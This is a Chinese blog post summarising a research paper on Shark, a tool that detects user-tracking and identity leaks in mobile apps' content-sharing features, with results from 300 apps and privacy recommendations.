作者设计了一个工具Shark来自动化分析Mobile App中的隐私泄漏情况，Shark结合动态和静态分析，框架如下图所示：

不过我对Android App开发不是很懂，检测技能层面就不太深入了。

• 1.Static Information Extraction：静态分析提取运行时触发共享活动所需的关键信息。具体而言，Shark解析反编译的应用代码和UI资源文件，以定位共享按钮及其对应的活动（即触发共享功能的用户界面）。接着，Shark构建活动转换图，包罗一组可行的路径，以触发和完成源应用与目的应用之间的共享活动。此外，Shark还接纳反向数据流分析，跟踪与共享内容相关的变量，从而正确建立源应用的共享按钮与目的应用之间的接洽（例如，哪个按钮指向微信，哪个按钮指向Facebook）。
  
• 2.Dynamic sharing activity trigger：在运行时，Shark探索应用并利用静态分析收集的信息触发共享活动。同时，作者截获具体的共享相关数据及其袒露上下文（例如，发送目的地、参数），并将其通报给Leak Detection模块，以确认App是否存在3种数据泄漏模式。
  
• 3.Leak Detection：Shark设定了3条规则来举行检测。
  
  
  
  • 3.1.SBT：检测方法如下图所示，假设不同用户共享雷同内容时，链接应保持一致，而不受用户身份的影响。假如不同用户共享雷同内容生成了不同的链接，就猜疑存在SBT。
    
  • 3.2.SDI：自动提取每个网络数据包的有用载荷，并提取此中的URL。假如捕获的网络流量中包罗该共享链接，则认为该应用通过SDI袒露了用户的共享活动。
    
  • 3.3.SDE：检查共享内容或链接中是否包罗分享者的用户名或UID。首先，作者预先注册了一个账户，包罗全部必要的根据（如用户名、用户ID），这些信息通常可在源应用的设置中找到。然后，利用该账户自动共享内容并提取共享链接。假如链接中包罗账户根据，我们认为该应用存在SDE。
    
  
  

本研究收集了来自中国和美国的300款顶级应用，以评估隐私风险在现实世界中的潜在影响。具体而言，作者从中国的小米应用市肆和美国的Google Play各收集了150款下载量最高的应用。选择这两个国家的应用是因为它们是主要的移动市场，因此作者的分析效果能为移动生态系统提供更广泛的见解。
以下是详细分析效果，在300个应用中，有186个应用具有共享功能，此中74个至少存在一种数据袒露模式。别的的case分析我就没放了（量太大了）。

4.5.Discussion

建议：

• 1.应用用户：隐私敏感的用户可以选择截图并直接分享内容图片，而不是利用应用提供的共享功能。如许一来，由于共享内容不是通过App控制的链接通报，分享活动变得不可追踪。然而，这种做法大概会影响可用性，因为接收者必要额外操纵，例如手动打开托管共享内容的应用，以访问视频剪辑和音频等信息。
  
• 2.系统提供商：由于共享机制依赖于框架级支持（如Android中的 Intent）来跨应用通报共享链接，系统供应商可以拦截共享链接并过滤掉袒露用户身份的参数。然而，这种机制并非万无一失，因为对手可以接纳额外措施在其创建的URL中隐蔽用户身份。例如，可以将跟踪器嵌入为完全随机化的URL与实际共享内容结合。此外，这对于必要登录状态才气访问共享内容的应用大概效果不佳。
  
• 3.监管机构和应用市场：监管机构和应用市场可以接纳更可行和实用的对策。具体而言，相关机构和应用市场应明确规定应用开发者在用户共享数据时应怎样依照隐私设计原则。此外，像Google Play如许的应用市场可以接纳额外的稽核机制来辨认这些数据模式。
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。